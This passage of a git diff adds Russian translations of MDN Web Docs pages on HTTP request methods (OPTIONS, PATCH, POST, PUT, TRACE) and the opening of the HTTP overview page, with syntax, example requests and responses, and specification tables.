+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt>
+ <dd><code>HEAD</code> запрашивает ресурс так же, как и метод GET, но без тела ответа.</dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/POST">POST</a></code></dt>
+ <dd><code>POST</code> используется для отправки сущностей к определённому ресурсу. Часто вызывает изменение состояния или какие-то побочные эффекты на сервере.</dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt>
+ <dd>
+ <p><code>PUT</code> заменяет все текущие представления ресурса данными запроса.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt>
+ <dd><code>DELETE</code> удаляет указанный ресурс.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt>
+ <dd>
+ <p><code>CONNECT</code> устанавливает "туннель" к серверу, определённому по ресурсу.</p>
+ </dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt>
+ <dd><code>OPTIONS</code> используется для описания параметров соединения с ресурсом.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt>
+ <dd>
+ <p><code>TRACE</code> выполняет вызов возвращаемого тестового сообщения с ресурса.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt>
+ <dd><code>PATCH</code> используется для частичного изменения ресурса.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Request methods", "4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Определение GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Patch method", "2")}}</td>
+   <td>PATCH метод для HTTP</td>
+   <td>Определение PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Заголовки">HTTP заголовки</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html
new file mode 100644
index 0000000000..7df81b0124
--- /dev/null
+++ b/files/ru/web/http/methods/options/index.html
@@ -0,0 +1,126 @@
+---
+title: OPTIONS
+slug: Web/HTTP/Methods/OPTIONS
+tags:
+  - HTTP
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/OPTIONS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (зведочку) чтобы указать весь сервер целиком.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_разрешенных_сервером_методов_запроса">Определение разрешенных сервером методов запроса</h3>
+
+<p>Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно возпользоваться curl направить OPTIONS запрос:</p>
+
+<pre>curl -X OPTIONS http://example.org -i</pre>
+
+<p>Ответ на запрос содержит {{HTTPHeader("Allow")}} заголовок с поддерживаемыми методами:</p>
+
+<pre>HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+</pre>
+
+<h3 id="Предзапросы_по_технологии_CORS">Предзапросы по технологии CORS</h3>
+
+<p>По технологии <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, с помощью метода <code>OPTIONS</code> направляется предварительный запрос, поэтому сервер может ответить приемлемо ли отправлять запросы этим методом. {{HTTPHeader("Access-Control-Request-Method")}} заголовок уведомляет сервер в составе предварительного запроса о том что, запрос  <code>OPTIONS</code> будет отправляться на сервер вместе с <code>POST</code> запросом. {{HTTPHeader("Access-Control-Request-Headers")}} заголовок уведомляет сервер о том, что при отправке фактического запроса, он будет отправлен с помощью пользовательских заголовков <code>X-PINGOTHER</code> и <code>Content-Type</code>.  В этом случае сервер имеет возможность определять возможно ли принять запрос с такими параметрами.</p>
+
+<pre>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>Ответ сервера содержит параметр {{HTTPHeader("Access-Control-Allow-Methods")}} и сообщает, что  <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> методы являются приемлемыми для данного ресурса. Этот заголовок похож на заголовок {{HTTPHeader("Allow")}} , но используется строго в контексте CORS.</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.OPTIONS")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}} заголовок</li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..bbf8a73ad6
--- /dev/null
+++ b/files/ru/web/http/methods/patch/index.html
@@ -0,0 +1,100 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+tags:
+  - HTTP
+  - HTTP метод
+  - Методы запроса
+  - Справка
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Метод запроса HTTP <code>PATCH</code></strong> частично изменяет ресурс.</p>
+
+<p>В какой-то степени <code>PATCH</code> можно назвать аналогом концепта «обновить» (update) из {{Glossary("CRUD")}} (но не стоит путать HTTP и {{Glossary("CRUD")}} — это две разные вещи).</p>
+
+<p><code>PATCH</code> может как быть идемпотентным, так и не быть, в отличие от {{HTTPMethod("PUT")}}, который всегда идемпотентен. Операция считается идемпотентной, если её многократное выполнение приводит к тому же результату, что и однократное выполнение. Например, если автоинкрементное поле является важной частью ресурса, то {{HTTPMethod("PUT")}} перезапишет его (т.к. он перезаписывает всё), но <code>PATCH</code> может и не перезаписать.</p>
+
+<p><code>PATCH</code> (как и <code>PUT</code>) <em>может</em> иметь побочные эффекты на другие ресурсы.</p>
+
+<p>Чтобы обозначить, что сервер поддерживает <code>PATCH</code>, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).</p>
+
+<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre class="line-numbers  language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[описание изменений]</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Успешный ответ указывается с помощью кода ответа {{HTTPStatus("204")}}, поскольку ответ в примере не содержит тела сообщения. А если бы содержал, то код был бы {{HTTPStatus("200")}}.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "PATCH")}}</td>
+   <td>PATCH Method for HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – указывает изменяемые типы документов принимаемые сервером.</li>
+</ul>
diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html
new file mode 100644
index 0000000000..5e0778692d
--- /dev/null
+++ b/files/ru/web/http/methods/post/index.html
@@ -0,0 +1,122 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+  - HTTP
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>POST</code></strong> предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.</p>
+
+<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p>
+
+<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the &lt;form> element or the formenctype attribute of the &lt;input> or &lt;button> elements:">В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p>
+
+<ul>
+ <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&amp;', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделенных символом <code>'&amp;'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li>
+ <li><code><span title="multipart/form-data">multipart/form-data</span></code>: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки <code>Content-Disposition</code> каждой части</li>
+ <li><code><span title="text/plain">text/plain</span></code></li>
+</ul>
+
+<p><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">Когда запрос <code>POST</code> отправляется с помощью метода, отличного от HTML-формы, </span><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">— например, через {{domxref ("XMLHttpRequest")}} </span><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">— тело может принимать любой тип. </span><span title="As described in the HTTP 1.1 specification, POST is designed to allow a uniform method to cover the following functions:">Как описано в спецификации HTTP 1.1, <code>POST</code> предназначен для обеспечения единообразного метода для покрытия следующих функций:</span></p>
+
+<ul>
+ <li><span id="result_box" lang="ru"><span>Аннотация существующих ресурсов</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Публикация сообщения на доске объявлений, в новостной группе, в списке рассылки или в аналогичной группе статей;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Добавление нового пользователя посредством модальности регистрации;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Предоставление блока данных, например, результата отправки формы, процессу обработки данных;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Расширение базы данных с помощью операции добавления.</span></span></li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Только если включена информация о свежести сообщения</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">POST /index.html</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Простая форма запроса, используя стандартный <code>application/x-www-form-urlencoded</code> content type:</p>
+
+<pre class="line-numbers  language-html">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Форма запроса, используя <code>multipart/form-data</code> content type:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li><a href="/ru/docs/Web/HTTP/Methods/GET">GET</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html
new file mode 100644
index 0000000000..5c89a7887c
--- /dev/null
+++ b/files/ru/web/http/methods/put/index.html
@@ -0,0 +1,104 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+  - HTTP
+  - HTTP методы
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<div><strong>Метод запроса HTTP PUT</strong> создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div>
+
+<div></div>
+
+<p>Разница между <code>PUT</code> и {{HTTPMethod("POST")}} в том, что <code>PUT</code> является идемпотентным, т.е. единичный и множественные вызовы этого метода, с идентичным набором данных, будут иметь тот же результат выполнения (без сторонних эффектов), в случае с <code>POST</code>, множественный вызов с идентичным набором данных может повлечь за собой сторонние эффекты.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">PUT /new.html HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre>PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;Новый файл&lt;/p&gt;</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /new.html
+</pre>
+
+<p>Если целевой ресур содержит отправляемую сущность и сущность была успешно мутирована (обновлена), в соответствии с прилагаемыми в теле запроса данными, то сервер должен отправить или {{HTTPStatus("200")}} (<code>OK</code>), или {{HTTPStatus("204")}} (<code>No Content</code>) для информирования об успешном завершении запроса.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existing.html
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/trace/index.html b/files/ru/web/http/methods/trace/index.html
new file mode 100644
index 0000000000..9bf1686106
--- /dev/null
+++ b/files/ru/web/http/methods/trace/index.html
@@ -0,0 +1,77 @@
+---
+title: TRACE
+slug: Web/HTTP/Methods/TRACE
+tags:
+  - HTTP
+  - Метод трассировки
+  - Справка
+translation_of: Web/HTTP/Methods/TRACE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP Метод <code>TRACE</code></strong> выполняет проверку обратной связи по пути к целевому ресурсу, предоставляя полезный механизм отладки.</p>
+
+<p>Конечный получатель запроса должен отразить полученное сообщение, исключая некоторые поля описанные ниже, назад клиенту как тело сообщения с ответом 200 (<code>OK</code>) с заголовком {{httpheader("Content-Type")}} <code>message/http</code>. Конечный получатель это либо исходный сервер, либо первый сервер получивший значение {{httpheader("Max-Forwards")}} в запросе.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">TRACE /index.html
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "TRACE", "4.3.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.TRACE")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Methods">HTTP methods</a></li>
+</ul>
diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html
new file mode 100644
index 0000000000..32bf03f084
--- /dev/null
+++ b/files/ru/web/http/overview/index.html
@@ -0,0 +1,172 @@
+---
+title: Обзор протокола HTTP
+slug: Web/HTTP/Overview
+tags:
+  - HTML
+  - HTTP
+  - Веб-механизмы
+  - Обзор
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>HTTP</strong> — это {{glossary("протокол")}}, позволяющий получать различные ресурсы, например HTML-документы. Протокол HTTP  лежит в основе обмена данными в Интернете. HTTP является протоколом клиент-серверного взаимодействия, что означает инициирование запросов к серверу самим получателем, обычно веб-браузером (web-browser). Полученный итоговый документ будет (может) состоять из различных поддокументов являющихся частью итогового документа: например, из отдельно полученного текста, описания структуры документа, изображений, видео-файлов, скриптов и многого другого.</p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются <em>запросами</em>, а сообщения, отправленные сервером, называются <em>ответами</em>.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан  еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p>
+
+<h2 id="Составляющие_систем_основанных_на_HTTP">Составляющие систем, основанных на HTTP</h2>
+
+<p>HTTP — это клиент-серверный протокол, то есть запросы отправляются какой-то одной стороной — участником обмена (user-agent) (либо прокси вместо него). Чаще всего в качестве участника выступает веб-браузер, но им может быть кто угодно, например, робот, путешествующий по Сети для пополнения и обновления данных индексации веб-страниц для поисковых систем.</p>
+
+<p>Каждый запрос (англ. <em>request</em>) отправляется серверу, который обрабатывает его и возвращает ответ (англ. <em>response</em>). Между этими запросами и ответами как правило существуют многочисленные посредники, называемые {{glossary("Прокси_серверами","прокси")}}, которые выполняют различные операции и работают как шлюзы или {{glossary("Кэш","кэш")}}, например.</p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>Обычно между браузером и сервером гораздо больше различных устройств-посредников, которые играют какую-либо роль в обработке запроса: маршрутизаторы, модемы и так далее. Благодаря тому, что Сеть построена на основе системы уровней (слоёв) взаимодействия, эти посредники "спрятаны" на сетевом и транспортном уровнях. В этой системе уровней HTTP занимает самый верхний уровень, который называется "прикладным" (или "уровнем приложений"). Знания об уровнях сети, таких как представительский, сеансовый, транспортный, сетевой, канальный и физический, имеют важное значение для понимания работы сети и диагностики возможных проблем, но не требуются для описания и понимания HTTP.</p>
+
+<h3 id="Клиент_участник_обмена">Клиент: участник обмена</h3>
+
+<p>Участник обмена (user agent) — это любой инструмент или устройство, действующие от лица пользователя. Эту задачу преимущественно выполняет веб-браузер; в некоторых случаях участниками выступают программы, которые используются инженерами и веб-разработчиками для отладки своих приложений.</p>
+
+<p>Браузер <strong>всегда</strong> является той сущностью, которая создаёт запрос. Сервер обычно этого не делает, хотя за многие годы существования сети были придуманы способы, которые могут позволить выполнить запросы со стороны сервера.</p>
+
+<p>Чтобы отобразить веб страницу, браузер отправляет начальный запрос для получения HTML-документа этой страницы. После этого браузер изучает этот документ, и запрашивает дополнительные файлы, необходимые для отбражения содержания веб-страницы (исполняемые скрипты, информацию о макете страницы - CSS таблицы стилей, дополнительные ресурсы в виде изображений и видео-файлов), которые непосредственно являются частью исходного документа, но расположены в других местах сети. Далее браузер соединяет все эти ресурсы для отображения их пользователю в виде единого документа — веб-страницы. Скрипты, выполняемые самим браузером, могут получать по сети дополнительные ресурсы на последующих этапах обработки веб-страницы, и браузер соответствующим образом обновляет отображение этой страницы для пользователя.</p>
+
+<p>Веб-страница является гипертекстовым документом. Это означает, что некоторые части отображаемого текста являются ссылками, которые могут быть активированы (обычно нажатием кнопки мыши) с целью получения и соответственно отображения новой веб-страницы (переход по ссылке). Это позволяет пользователю "перемещаться" по страницам сети (Internet). Браузер преобразует эти гиперссылки в HTTP-запросы и в дальнейшем полученные HTTP-ответы отображает в понятном для пользователя виде.</p>
+
+<h3 id="Веб-сервер">Веб-сервер</h3>
+
+<p>На другой стороне коммуникационного канала расположен сервер, который обслуживает (англ. <em>serve</em>) пользователя, предоставляя ему документы по запросу. С точки зрения конечного пользователя, сервер всегда является некой одной виртуальной машиной, полностью или частично генерирующей документ, хотя фактически он может быть группой серверов, между которыми балансируется нагрузка, то есть перераспределяются запросы различных пользователей, либо сложным программным обеспечением, опрашивающим другие компьютеры (такие как кэширующие серверы, серверы баз данных, серверы приложений электронной коммерции и другие).</p>
+
